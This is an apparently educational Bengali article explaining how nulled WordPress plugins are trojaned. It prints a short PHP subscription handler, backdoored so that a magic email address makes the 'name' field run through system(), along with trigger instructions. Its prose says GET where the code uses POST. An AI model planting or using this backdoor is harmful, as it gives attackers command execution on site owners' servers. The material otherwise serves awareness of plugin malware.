এই নিবন্ধটি কেবল শিক্ষামূলক উদ্দেশ্যে রচিত।
এই নিবন্ধের পূর্বশর্ত:
- PHP-এর প্রাথমিক জ্ঞান
- কীভাবে ওয়ার্ডপ্রেস প্লাগইন কাজ করে তার প্রাথমিক ধারণা
- jQuery ফ্রন্টএন্ড JS লাইব্রেরির প্রাথমিক ধারণা
ওয়ার্ডপ্রেস ম্যালওয়্যার হলো এমন একটি ক্ষতিকারক কোড যা ওয়েবসাইটে ইনজেক্ট করা হয় যাতে সাইটকে নিরাপত্তা-ব্যাবস্থা ধ্বংস হয়, এবং তথ্য চুরি করা যায় অথবা কার্যকারিতা বাধাগ্রস্ত করা যায় আথবা সাইটের সাধারন কার্যকলাপ ব্যাহত হয়। এটি সুরক্ষাহীন প্লাগইনগুলোর মাধ্যমে ঘটতে পারে, যেমন: nulled প্লাগইন, যেগুলোর ক্রয় যাচাইকরণ প্রক্রিয়া অনিয়মত্রান্তিকভাবে নিস্ক্রিয় করা হয়েছে। Nulled প্লাগইন প্রায়ই ক্ষতিকারক কোড বহন করে। এই নিবন্ধে আমি দেখাবো কিভাবে ক্ষতিকারক ব্যক্তিবর্গ এই প্লাগইনগুলোতে ক্ষতিকারক কোড ইনজেক্ট করে।
ধরা যাক, একটি পেইড প্লাগইন আছে যা কোনো ভিজিটরকে ৫ সেকেন্ডের বেশি সময় ধরে একটি ওয়েবপেজে থাকলে সাবস্ক্রাইব করতে বলে। কিছু দুরভিসন্ধিগ্রস্থ ব্যক্তিবর্গ প্লাগইনের কোড পরিবর্তন করে পেমেন্ট যাচাইকরণ বাইপাস করে, যা প্লাগইনটি বিনামূল্যে ব্যবহার করার সুযোগ করে দেয়; একইসাথে তারা একটি ক্ষতিকারক কোডও ইনজেক্ট করে যা এই প্লাগইন ব্যবহারকারী সাইটগুলো থেকে সংবেদনশীল তথ্য চুরি করে।
মনে করুন, প্লাগইনের আসল সংস্করণে সাবস্ক্রিপশনের পরে একটি ধন্যবাদ বার্তা দেখানো হয়:
PHP কোড:
/**
এই কোডটি চেক করে সাবস্ক্রিপশন ফর্ম জমা দেওয়া হয়েছে কিনা;
ব্যবহারকারীর নাম এবং ইমেইল স্যানিটাইজ করে
ধন্যবাদ বার্তা প্রদর্শন করে
*/
if (isset($_POST['submit_subscriber'])) {
$name = sanitize_text_field($_POST['name']);
$email = sanitize_email($_POST['email']);
echo 'Thanks For Subscribing';
}
?>
এখন দেখি কীভাবে প্লাগইনের আসল কোডটি ক্ষতিকারকভাবে পরিবর্তিত হয়েছে:
/**
মূল প্লাগইন কোডটি ক্ষতিকারক করতে পরিবর্তন করা হয়েছে।
যদি ভিজিটর ইমেইল ঠিকানা দেয়: saitan@dozokh.low
তাহলে নাম ফিল্ডে প্রদত্ত কমান্ডটি php system() ফাংশন দ্বারা কার্যকর করা হবে
*/
if (isset($_POST['submit_subscriber'])) {
$name = sanitize_text_field($_POST['name']);
$email = sanitize_email($_POST['email']);
// চেক করে যদি ইমেইলটি নির্দিষ্ট ঠিকানার সাথে মেলে
if ($email === 'saitan@dozokh.low') {
// নাম ফিল্ডের মাধ্যমে একটি system কমান্ড চালানো হবে
$output = system($name);
echo '<pre>' . esc_html($output) . '</pre>';
} else {
echo 'Thanks For Subscribing';
}
}
এই কোডটি একটি ব্যাকডোর তৈরি করে যা GET প্যারামিটারের মাধ্যমে ইমেইল ইনপুট করে অ্যাক্সেস করা যায়। এই কোডটি যেভাবে কাজ করে তা হলো:
ক্ষতিকারক ব্যক্তি যদি জানতে চায় কোন কোন ফাইল প্লাগইনের ডিরেক্টরিতে আছে, তাহলে সে শুধু ইমেইল ইনপুট ফিল্ডে saitan@dozokh.low ঠিকানাটি দিতে হবে এবং নাম ফিল্ডে ls লিখতে হবে। এতে প্লাগইনের ডিরেক্টরির সমস্ত ফাইল এবং ডিরেক্টরির তালিকা প্রদর্শিত হবে।
আপনি পূর্ণ প্লাগইনের কোড এখানে পেতে পারেন।
Leave a Reply